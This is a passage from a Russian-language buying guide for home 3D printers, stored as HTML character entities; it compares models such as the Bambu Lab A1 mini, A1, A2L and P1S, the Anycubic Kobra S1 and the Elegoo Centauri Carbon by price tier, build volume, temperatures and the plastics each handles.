&#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A;. &#x426;&#x438;&#x444;&#x440;&#x430; &#xAB;600 &#x43C;&#x43C;/&#x441;&#xBB; &#x43E;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x433;&#x435;&#x43E;&#x43C;&#x435;&#x442;&#x440;&#x438;&#x44E; &#x43F;&#x435;&#x440;&#x435;&#x43C;&#x435;&#x449;&#x435;&#x43D;&#x438;&#x439; &#x2014; &#x43E;&#x43D;&#x430; &#x43D;&#x435; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442; &#x448;&#x435;&#x441;&#x442;&#x438;&#x43A;&#x440;&#x430;&#x442;&#x43D;&#x43E;&#x433;&#x43E; &#x441;&#x43E;&#x43A;&#x440;&#x430;&#x449;&#x435;&#x43D;&#x438;&#x44F; &#x432;&#x440;&#x435;&#x43C;&#x435;&#x43D;&#x438; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x438;, &#x43F;&#x43E;&#x442;&#x43E;&#x43C;&#x443; &#x447;&#x442;&#x43E; &#x440;&#x430;&#x437;&#x433;&#x43E;&#x43D;, &#x43E;&#x431;&#x434;&#x443;&#x432; &#x438; &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x43D;&#x438;&#x44F; &#x43A; &#x43A;&#x430;&#x447;&#x435;&#x441;&#x442;&#x432;&#x443; &#x432;&#x441;&#x451; &#x440;&#x430;&#x432;&#x43D;&#x43E; &#x443;&#x43F;&#x440;&#x443;&#x442;&#x441;&#x44F; &#x432; &#x444;&#x438;&#x437;&#x438;&#x43A;&#x443;. 

&#x422;&#x440;&#x438; &#x432;&#x43E;&#x43F;&#x440;&#x43E;&#x441;&#x430;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x43E;&#x442;&#x441;&#x435;&#x43A;&#x443;&#x442; &#x43F;&#x43E;&#x43B;&#x43E;&#x432;&#x438;&#x43D;&#x443; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x430;

&#x41D;&#x435;&#x443;&#x434;&#x430;&#x447;&#x43D;&#x44B;&#x435; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x438; &#x447;&#x430;&#x449;&#x435; &#x432;&#x441;&#x435;&#x433;&#x43E; &#x43F;&#x440;&#x43E;&#x438;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x43E;&#x442; &#x432;&#x44B;&#x431;&#x43E;&#x440;&#x430; &#x43F;&#x43E; &#x442;&#x430;&#x431;&#x43B;&#x438;&#x447;&#x43A;&#x435; &#x445;&#x430;&#x440;&#x430;&#x43A;&#x442;&#x435;&#x440;&#x438;&#x441;&#x442;&#x438;&#x43A; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x432;&#x44B;&#x431;&#x43E;&#x440;&#x430; &#x43F;&#x43E; &#x437;&#x430;&#x434;&#x430;&#x447;&#x435;. &#x41E;&#x442;&#x432;&#x435;&#x442;&#x44C;&#x442;&#x435; &#x441;&#x435;&#x431;&#x435; &#x43D;&#x430; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x44E;&#x449;&#x435;&#x435;. 

&#x427;&#x442;&#x43E; &#x43F;&#x440;&#x435;&#x434;&#x441;&#x442;&#x43E;&#x438;&#x442; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x442;&#x44C;? &#x41A;&#x43E;&#x440;&#x43F;&#x443;&#x441;&#x430;, &#x434;&#x435;&#x440;&#x436;&#x430;&#x442;&#x435;&#x43B;&#x438;, &#x43E;&#x440;&#x433;&#x430;&#x43D;&#x430;&#x439;&#x437;&#x435;&#x440;&#x44B;, &#x431;&#x44B;&#x442;&#x43E;&#x432;&#x44B;&#x435; &#x437;&#x430;&#x43F;&#x447;&#x430;&#x441;&#x442;&#x438; &#x2014; &#x44D;&#x442;&#x43E; PLA &#x441; PETG, &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x43E;&#x439; &#x440;&#x430;&#x43C;&#x44B; &#x434;&#x43E;&#x441;&#x442;&#x430;&#x442;&#x43E;&#x447;&#x43D;&#x43E;. &#x414;&#x435;&#x442;&#x430;&#x43B;&#x438;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x43C; &#x43F;&#x440;&#x435;&#x434;&#x441;&#x442;&#x43E;&#x438;&#x442; &#x43B;&#x435;&#x442;&#x43E; &#x432; &#x441;&#x430;&#x43B;&#x43E;&#x43D;&#x435; &#x430;&#x432;&#x442;&#x43E;&#x43C;&#x43E;&#x431;&#x438;&#x43B;&#x44F; &#x438;&#x43B;&#x438; &#x436;&#x438;&#x437;&#x43D;&#x44C; &#x43F;&#x43E;&#x434; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x43C; &#x43D;&#x435;&#x431;&#x43E;&#x43C;, &#x442;&#x440;&#x435;&#x431;&#x443;&#x44E;&#x442; ABS &#x438; ASA, &#x430; &#x441;&#x43B;&#x435;&#x434;&#x43E;&#x432;&#x430;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43A;&#x43E;&#x436;&#x443;&#x445;&#x430;. &#x41C;&#x438;&#x43D;&#x438;&#x430;&#x442;&#x44E;&#x440;&#x44B;, &#x43C;&#x438;&#x43D;&#x438;&#x430;&#x442;&#x44E;&#x440;&#x43D;&#x44B;&#x435; &#x448;&#x435;&#x441;&#x442;&#x435;&#x440;&#x43D;&#x438;, &#x441;&#x442;&#x43E;&#x43C;&#x430;&#x442;&#x43E;&#x43B;&#x43E;&#x433;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x435; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x438; &#x2014; &#x432;&#x43E;&#x43E;&#x431;&#x449;&#x435; &#x43D;&#x435; &#x43F;&#x440;&#x43E; FDM, &#x442;&#x443;&#x442; &#x43D;&#x443;&#x436;&#x43D;&#x430; &#x444;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x430;&#x44F; &#x442;&#x435;&#x445;&#x43D;&#x43E;&#x43B;&#x43E;&#x433;&#x438;&#x44F;. 

&#x41A;&#x443;&#x434;&#x430; &#x435;&#x433;&#x43E; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C;? &#x41E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439; &#x430;&#x43F;&#x43F;&#x430;&#x440;&#x430;&#x442; &#x448;&#x443;&#x43C;&#x438;&#x442; &#x438; &#x434;&#x430;&#x451;&#x442; &#x437;&#x430;&#x43F;&#x430;&#x445;. &#x41F;&#x43E;&#x441;&#x442;&#x43E;&#x44F;&#x43D;&#x43D;&#x44B;&#x439; &#x433;&#x443;&#x43B; &#x432;&#x435;&#x43D;&#x442;&#x438;&#x43B;&#x44F;&#x442;&#x43E;&#x440;&#x43E;&#x432; &#x432; &#x436;&#x438;&#x43B;&#x43E;&#x439; &#x43A;&#x43E;&#x43C;&#x43D;&#x430;&#x442;&#x435; &#x43F;&#x43B;&#x44E;&#x441; &#x430;&#x440;&#x43E;&#x43C;&#x430;&#x442; &#x43E;&#x442; &#x432;&#x441;&#x435;&#x433;&#x43E;, &#x43A;&#x440;&#x43E;&#x43C;&#x435; PLA, &#x2014; &#x442;&#x430;&#x43A;&#x43E;&#x432;&#x430; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x441;&#x442;&#x44C;. &#x424;&#x43E;&#x442;&#x43E;&#x43F;&#x43E;&#x43B;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x438;&#x43A; &#x432; &#x436;&#x438;&#x43B;&#x43E;&#x439; &#x43A;&#x43E;&#x43C;&#x43D;&#x430;&#x442;&#x435; &#x43D;&#x435; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x440;&#x430;&#x441;&#x441;&#x43C;&#x430;&#x442;&#x440;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x432;&#x43E;&#x432;&#x441;&#x435;, &#x43E;&#x431; &#x44D;&#x442;&#x43E;&#x43C; &#x43D;&#x438;&#x436;&#x435;. 

&#x41D;&#x430;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x432;&#x44B; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#x44B; &#x432;&#x43E;&#x437;&#x438;&#x442;&#x44C;&#x441;&#x44F;? &#x41E;&#x442;&#x432;&#x435;&#x442; &#xAB;&#x441;&#x43E;&#x432;&#x441;&#x435;&#x43C; &#x43D;&#x435; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#xBB; &#x430;&#x431;&#x441;&#x43E;&#x43B;&#x44E;&#x442;&#x43D;&#x43E; &#x43D;&#x43E;&#x440;&#x43C;&#x430;&#x43B;&#x435;&#x43D;. &#x41E;&#x43D; &#x43B;&#x438;&#x448;&#x44C; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#x441;&#x430;&#x43C;&#x44B;&#x439; &#x43D;&#x438;&#x436;&#x43D;&#x438;&#x439; &#x43F;&#x43E;&#x440;&#x43E;&#x433; &#x431;&#x44E;&#x434;&#x436;&#x435;&#x442;&#x430; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x435;&#x442; &#x43F;&#x440;&#x43E;&#x43F;&#x443;&#x441;&#x442;&#x438;&#x442;&#x44C;: &#x441;&#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x434;&#x435;&#x441;&#x44F;&#x442;&#x43E;&#x43A; &#x442;&#x44B;&#x441;&#x44F;&#x447; &#x43E;&#x43F;&#x43B;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x435;&#x434;&#x435;&#x43B;&#x44F;&#x43C;&#x438; &#x431;&#x43E;&#x440;&#x44C;&#x431;&#x44B; &#x437;&#x430; &#x43F;&#x440;&#x438;&#x43B;&#x438;&#x43F;&#x430;&#x43D;&#x438;&#x435; &#x43F;&#x435;&#x440;&#x432;&#x43E;&#x433;&#x43E; &#x441;&#x43B;&#x43E;&#x44F;. 

&#x414;&#x438;&#x430;&#x43F;&#x430;&#x437;&#x43E;&#x43D;&#x44B; &#x441;&#x43E;&#x431;&#x440;&#x430;&#x43D;&#x44B; &#x43F;&#x43E; &#x43F;&#x440;&#x430;&#x439;&#x441;&#x430;&#x43C; igo3d, 3DMall &#x438; ForOffice

&#x41F;&#x43E;&#x440;&#x43E;&#x433; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439;: &#x43C;&#x435;&#x43D;&#x44C;&#x448;&#x435; 30 000 &#x20BD;

&#x422;&#x435;&#x440;&#x440;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x44F; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x445; &#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;&#x43E;&#x432; &#x431;&#x435;&#x437; &#x437;&#x430;&#x442;&#x435;&#x439;. &#x41E;&#x434;&#x438;&#x43D; &#x446;&#x432;&#x435;&#x442;, PLA &#x438; PETG, &#x43A;&#x43E;&#x436;&#x443;&#x445;&#x430; &#x43D;&#x435;&#x442;. 

&#x41E;&#x440;&#x438;&#x435;&#x43D;&#x442;&#x438;&#x440; &#x43F;&#x43E;&#x440;&#x43E;&#x433;&#x430; &#x2014; Bambu Lab A1 mini, 19 999&#x2013;21 900 &#x20BD;. &#x41F;&#x43E;&#x43B;&#x435; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x438; &#x441;&#x43A;&#x440;&#x43E;&#x43C;&#x43D;&#x43E;&#x435;, 180&#xD7;180&#xD7;180 &#x43C;&#x43C;, &#x437;&#x430;&#x442;&#x43E; &#x432; &#x441;&#x43F;&#x435;&#x446;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x438; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x44F; &#x437;&#x430;&#x44F;&#x432;&#x43B;&#x435;&#x43D;&#x44B; 500 &#x43C;&#x43C;/&#x441;, &#x445;&#x43E;&#x442;&#x44D;&#x43D;&#x434; &#x434;&#x43E; 300 &#xB0;C &#x438; &#x43F;&#x43E;&#x43B;&#x43D;&#x44B;&#x439; &#x43A;&#x43E;&#x43C;&#x43F;&#x43B;&#x435;&#x43A;&#x442; &#x430;&#x432;&#x442;&#x43E;&#x43A;&#x430;&#x43B;&#x438;&#x431;&#x440;&#x43E;&#x432;&#x43A;&#x438;. &#x41C;&#x43E;&#x43C;&#x435;&#x43D;&#x442;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x43E;&#x431;&#x437;&#x43E;&#x440;&#x44B; &#x443;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x44E;&#x442;: ABS, ASA &#x438; PC &#x432; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x43C; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x435; &#x43E;&#x442;&#x43C;&#x435;&#x447;&#x435;&#x43D;&#x44B; &#x43A;&#x430;&#x43A; &#x43D;&#x435; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x443;&#x435;&#x43C;&#x44B;&#x435; &#x2014; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430; &#x43F;&#x440;&#x43E;&#x433;&#x440;&#x435;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43B;&#x438;&#x448;&#x44C; &#x434;&#x43E; 80 &#xB0;C. &#x41F;&#x435;&#x440;&#x435;&#x434; &#x432;&#x430;&#x43C;&#x438; &#x43C;&#x430;&#x448;&#x438;&#x43D;&#x430; &#x43F;&#x43E;&#x434; PLA &#x438; PETG, &#x442;&#x440;&#x435;&#x431;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435;&#x433;&#x43E; &#x431;&#x435;&#x441;&#x441;&#x43C;&#x44B;&#x441;&#x43B;&#x435;&#x43D;&#x43D;&#x43E;. 

&#x421;&#x43E;&#x441;&#x435;&#x434;&#x43D;&#x438;&#x439; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442; &#x2014; Creality Ender-3 V3 KE, &#x43F;&#x440;&#x438;&#x43C;&#x435;&#x440;&#x43D;&#x43E; 27 900 &#x20BD; &#x43F;&#x440;&#x438; &#x43E;&#x444;&#x438;&#x446;&#x438;&#x430;&#x43B;&#x44C;&#x43D;&#x43E;&#x439; &#x446;&#x435;&#x43D;&#x435; Creality &#x432; $279: &#x442;&#x435; &#x436;&#x435; 500 &#x43C;&#x43C;/&#x441;, &#x441;&#x43E;&#x43F;&#x43B;&#x43E; &#x434;&#x43E; 300 &#xB0;C, &#x43B;&#x438;&#x43D;&#x435;&#x439;&#x43D;&#x430;&#x44F; &#x43D;&#x430;&#x43F;&#x440;&#x430;&#x432;&#x43B;&#x44F;&#x44E;&#x449;&#x430;&#x44F; &#x43D;&#x430; &#x43E;&#x441;&#x438; X. &#x422;&#x438;&#x43F;&#x438;&#x447;&#x43D;&#x44B;&#x439; &#x431;&#x435;&#x434;&#x441;&#x43B;&#x438;&#x43D;&#x433;&#x435;&#x440;, &#x447;&#x435;&#x439; &#x43F;&#x43B;&#x44E;&#x441; &#x2014; &#x440;&#x435;&#x43C;&#x43E;&#x43D;&#x442;&#x43E;&#x43F;&#x440;&#x438;&#x433;&#x43E;&#x434;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x438; &#x434;&#x435;&#x448;&#x451;&#x432;&#x44B;&#x435; &#x437;&#x430;&#x43F;&#x447;&#x430;&#x441;&#x442;&#x438;, &#x430; &#x43C;&#x438;&#x43D;&#x443;&#x441; &#x2014; &#x447;&#x442;&#x43E; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x430;&#x438;&#x432;&#x430;&#x442;&#x44C; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x441;&#x430;&#x43C;&#x43E;&#x43C;&#x443;. 

&#x423; &#x441;&#x430;&#x43C;&#x43E;&#x433;&#x43E; &#x43D;&#x438;&#x437;&#x430; &#x440;&#x430;&#x441;&#x43F;&#x43E;&#x43B;&#x43E;&#x436;&#x438;&#x43B;&#x441;&#x44F; Anycubic Kobra 2 Neo &#x437;&#x430; 19 900 &#x20BD;. &#x41F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x435;&#x442;, &#x43D;&#x43E; &#x44D;&#x442;&#x43E; &#x43F;&#x43E;&#x43A;&#x443;&#x43F;&#x43A;&#x430; &#x432; &#x436;&#x430;&#x43D;&#x440;&#x435; &#xAB;&#x43F;&#x43E;&#x43F;&#x440;&#x43E;&#x431;&#x43E;&#x432;&#x430;&#x442;&#x44C;&#xBB;, &#x430; &#x43D;&#x435; &#xAB;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x442;&#x44C;&#xBB;. 

&#x1F4CC; &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43A;&#x430; &#x41D;&#x435;&#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x430;&#x44F; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430; &#x43F;&#x443;&#x433;&#x430;&#x435;&#x442; &#x441;&#x438;&#x43B;&#x44C;&#x43D;&#x435;&#x435;, &#x447;&#x435;&#x43C; &#x441;&#x43B;&#x435;&#x434;&#x443;&#x435;&#x442;. &#x421;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x430; &#x432; 180 &#x43C;&#x43C; &#x43F;&#x435;&#x440;&#x435;&#x43A;&#x440;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x43D;&#x443;&#x44E; &#x43C;&#x430;&#x441;&#x441;&#x443; &#x431;&#x44B;&#x442;&#x43E;&#x432;&#x44B;&#x445; &#x437;&#x430;&#x434;&#x430;&#x447;, &#x430; &#x432;&#x441;&#x451; &#x43A;&#x440;&#x443;&#x43F;&#x43D;&#x43E;&#x435; &#x432;&#x441;&#x451; &#x440;&#x430;&#x432;&#x43D;&#x43E; &#x440;&#x435;&#x436;&#x435;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x444;&#x440;&#x430;&#x433;&#x43C;&#x435;&#x43D;&#x442;&#x44B; &#x438; &#x441;&#x43A;&#x43B;&#x435;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x2014; &#x446;&#x435;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x434;&#x435;&#x442;&#x430;&#x43B;&#x44C; &#x432;&#x44B;&#x441;&#x43E;&#x442;&#x43E;&#x439; 300 &#x43C;&#x43C; &#x43F;&#x435;&#x447;&#x430;&#x442;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x441;&#x443;&#x442;&#x43A;&#x438; &#x438; &#x433;&#x438;&#x431;&#x43D;&#x435;&#x442; &#x43E;&#x442; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x43E;&#x433;&#x43E; &#x43D;&#x435;&#x443;&#x434;&#x430;&#x447;&#x43D;&#x43E;&#x433;&#x43E; &#x441;&#x43B;&#x43E;&#x44F;. 

&#x41F;&#x43E;&#x440;&#x43E;&#x433; &#x432;&#x442;&#x43E;&#x440;&#x43E;&#x439;: 30&#x2013;50 000 &#x20BD;

&#x41E;&#x43F;&#x442;&#x438;&#x43C;&#x443;&#x43C; &#x43F;&#x43E; &#x43A;&#x440;&#x438;&#x442;&#x435;&#x440;&#x438;&#x44E; &#xAB;&#x446;&#x435;&#x43D;&#x430; &#x43F;&#x440;&#x43E;&#x442;&#x438;&#x432; &#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x43D;&#x43E;&#x439; &#x431;&#x43E;&#x43B;&#x438;&#xBB;. &#x418;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x437;&#x434;&#x435;&#x441;&#x44C; &#x44F; &#x43F;&#x440;&#x435;&#x434;&#x43B;&#x43E;&#x436;&#x438;&#x43B; &#x431;&#x44B; &#x43E;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x442;&#x43E;&#x43C;&#x443;, &#x43A;&#x442;&#x43E; &#x435;&#x449;&#x451; &#x43D;&#x435; &#x440;&#x435;&#x448;&#x438;&#x43B;, &#x447;&#x435;&#x43C; &#x431;&#x443;&#x434;&#x435;&#x442; &#x437;&#x430;&#x43D;&#x438;&#x43C;&#x430;&#x442;&#x44C;&#x441;&#x44F;. 

Bambu Lab A1, 29 999&#x2013;32 900 &#x20BD; &#x2014; &#x438;&#x434;&#x435;&#x43E;&#x43B;&#x43E;&#x433;&#x438;&#x44F; &#x43C;&#x43B;&#x430;&#x434;&#x448;&#x435;&#x439; &#x43C;&#x43E;&#x434;&#x435;&#x43B;&#x438;, &#x43D;&#x43E; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430; 256&#xD7;256&#xD7;256 &#x43C;&#x43C; &#x441; &#x43D;&#x430;&#x433;&#x440;&#x435;&#x432;&#x43E;&#x43C; &#x434;&#x43E; 100 &#xB0;C. &#x420;&#x430;&#x43C;&#x430; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x430;&#x44F;, ABS &#x432; &#x441;&#x43F;&#x435;&#x446;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x446;&#x438;&#x438; &#x43F;&#x43E;-&#x43F;&#x440;&#x435;&#x436;&#x43D;&#x435;&#x43C;&#x443; &#x43E;&#x442;&#x43D;&#x435;&#x441;&#x451;&#x43D; &#x43A; &#x43D;&#x435;&#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x443;&#x435;&#x43C;&#x44B;&#x43C;. 

Anycubic Kobra S1, 30 300&#x2013;39 800 &#x20BD; &#x2014; &#x43F;&#x435;&#x440;&#x432;&#x44B;&#x439; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439; CoreXY &#x432; &#x43F;&#x43E;&#x434;&#x431;&#x43E;&#x440;&#x43A;&#x435;. &#x41F;&#x43E;&#x43B;&#x435; 250&#xD7;250&#xD7;250 &#x43C;&#x43C;, &#x445;&#x43E;&#x442;&#x44D;&#x43D;&#x434; &#x434;&#x43E; 320 &#xB0;C, &#x43F;&#x43E;&#x43B;&#x438;&#x43A;&#x430;&#x440;&#x431;&#x43E;&#x43D;&#x430;&#x442;&#x43D;&#x44B;&#x439; &#x43A;&#x43E;&#x436;&#x443;&#x445;, &#x443;&#x433;&#x43E;&#x43B;&#x44C;&#x43D;&#x430;&#x44F; &#x444;&#x438;&#x43B;&#x44C;&#x442;&#x440;&#x430;&#x446;&#x438;&#x44F;, &#x434;&#x435;&#x43A;&#x43B;&#x430;&#x440;&#x438;&#x440;&#x443;&#x435;&#x43C;&#x44B;&#x435; 600 &#x43C;&#x43C;/&#x441; &#x438; 20 000 &#x43C;&#x43C;/&#x441;&#xB2;. &#x41B;&#x44E;&#x431;&#x43E;&#x43F;&#x44B;&#x442;&#x43D;&#x43E;, &#x447;&#x442;&#x43E; &#x441;&#x430;&#x43C; &#x43F;&#x440;&#x43E;&#x438;&#x437;&#x432;&#x43E;&#x434;&#x438;&#x442;&#x435;&#x43B;&#x44C; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x443;&#x435;&#x442; 300 &#x43C;&#x43C;/&#x441; &#x438; 10 000 &#x43C;&#x43C;/&#x441;&#xB2; &#x2014; &#x440;&#x435;&#x43A;&#x43B;&#x430;&#x43C;&#x43D;&#x43E;&#x435; &#x438; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x435;&#x435; &#x437;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x434;&#x44F;&#x442;&#x441;&#x44F; &#x432;&#x434;&#x432;&#x43E;&#x435;, &#x44D;&#x442;&#x43E; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x434;&#x435;&#x440;&#x436;&#x430;&#x442;&#x44C; &#x432; &#x433;&#x43E;&#x43B;&#x43E;&#x432;&#x435;. 

Elegoo Centauri Carbon, 35 000&#x2013;52 000 &#x20BD; &#x43F;&#x43E; &#x440;&#x430;&#x437;&#x43D;&#x44B;&#x43C; &#x43F;&#x440;&#x43E;&#x434;&#x430;&#x432;&#x446;&#x430;&#x43C; &#x2014; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439; CoreXY, &#x43F;&#x43E;&#x43B;&#x435; 256&#xD7;256&#xD7;256 &#x43C;&#x43C;, &#x441;&#x43E;&#x43F;&#x43B;&#x43E; &#x434;&#x43E; 320 &#xB0;C, &#x441;&#x442;&#x43E;&#x43B; &#x434;&#x43E; 110 &#xB0;C. &#x41F;&#x43E;&#x43B;&#x43D;&#x43E;&#x446;&#x435;&#x43D;&#x43D;&#x430;&#x44F; &#x433;&#x43E;&#x442;&#x43E;&#x432;&#x43D;&#x43E;&#x441;&#x442;&#x44C; &#x43A; ABS, ASA &#x438; &#x43A;&#x43E;&#x43C;&#x43F;&#x43E;&#x437;&#x438;&#x442;&#x430;&#x43C; &#x441; &#x440;&#x443;&#x431;&#x43B;&#x435;&#x43D;&#x44B;&#x43C; &#x432;&#x43E;&#x43B;&#x43E;&#x43A;&#x43D;&#x43E;&#x43C;. 

Bambu Lab A2L, 44 900&#x2013;44 999 &#x20BD; &#x2014; &#x43E;&#x442;&#x43A;&#x440;&#x44B;&#x442;&#x430;&#x44F; &#x43D;&#x43E;&#x432;&#x438;&#x43D;&#x43A;&#x430;, &#x432;&#x44B;&#x448;&#x435;&#x434;&#x448;&#x430;&#x44F; 1 &#x438;&#x44E;&#x43D;&#x44F; 2026 &#x433;&#x43E;&#x434;&#x430;, &#x441; &#x43A;&#x440;&#x443;&#x43F;&#x43D;&#x43E;&#x439; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x43E;&#x439; 330&#xD7;320&#xD7;325 &#x43C;&#x43C;. &#x41D;&#x44E;&#x430;&#x43D;&#x441; &#x441;&#x443;&#x449;&#x435;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439;: &#x43D;&#x430;&#x433;&#x440;&#x435;&#x432; &#x441;&#x442;&#x43E;&#x43B;&#x430; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D; 80 &#xB0;C, &#x43F;&#x43E;&#x434;&#x434;&#x435;&#x440;&#x436;&#x43A;&#x430; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D;&#x430; &#x43A;&#x430;&#x43A; &#xAB;PLA, PETG &#x438; &#x43F;&#x440;&#x43E;&#x447;&#x438;&#x435; &#x43D;&#x435;&#x438;&#x43D;&#x436;&#x435;&#x43D;&#x435;&#x440;&#x43D;&#x44B;&#x435; &#x43F;&#x43B;&#x430;&#x441;&#x442;&#x438;&#x43A;&#x438;&#xBB;, &#x43B;&#x430;&#x437;&#x435;&#x440;&#x43D;&#x44B;&#x439; &#x43C;&#x43E;&#x434;&#x443;&#x43B;&#x44C; &#x43D;&#x435; &#x43F;&#x440;&#x435;&#x434;&#x443;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x435;&#x43D;. &#x418;&#x43D;&#x430;&#x447;&#x435; &#x433;&#x43E;&#x432;&#x43E;&#x440;&#x44F;, &#x44D;&#x442;&#x43E; &#xAB;&#x43C;&#x43D;&#x43E;&#x433;&#x43E; PLA&#xBB;, &#x430; &#x43D;&#x435; &#xAB;&#x434;&#x43E;&#x440;&#x43E;&#x433;&#x43E; &#x438; &#x43C;&#x43E;&#x449;&#x43D;&#x43E;&#xBB;. 

Bambu Lab P1S, 49 900&#x2013;49 990 &#x20BD; &#x2014; &#x437;&#x430;&#x43A;&#x440;&#x44B;&#x442;&#x44B;&#x439; CoreXY &#x43D;&#x430; 256&#xD7;256&#xD7;256 &#x43C;&#x43C;, 500 &#x43C;&#x43C;/&#x441;, &#x434;&#x43E; 20 000 &#x43C;&#x43C;/&#x441;&#xB2;, &#x441;&#x43E;&#x43F;&#x43B;&#x43E; 300 &#xB0;C, &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x430; 100 &#xB0;C. &#x423;&#x436;&#x435; &#x43D;&#x435;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43B;&#x435;&#x442; &#x441;&#x43B;&#x443;&#x436;&#x438;&#x442; &#x43D;&#x435;&#x433;&#x43B;&#x430;&#x441;&#x43D;&#x44B;&#x43C; &#x44D;&#x442;&#x430;&#x43B;&#x43E;&#x43D;&#x43E;&#x43C; &#x440;&#x430;&#x431;&#x43E;&#x447;&#x435;&#x439; &#x43B;&#x43E;&#x448;&#x430;&#x434;&#x43A;&#x438; &#x438; 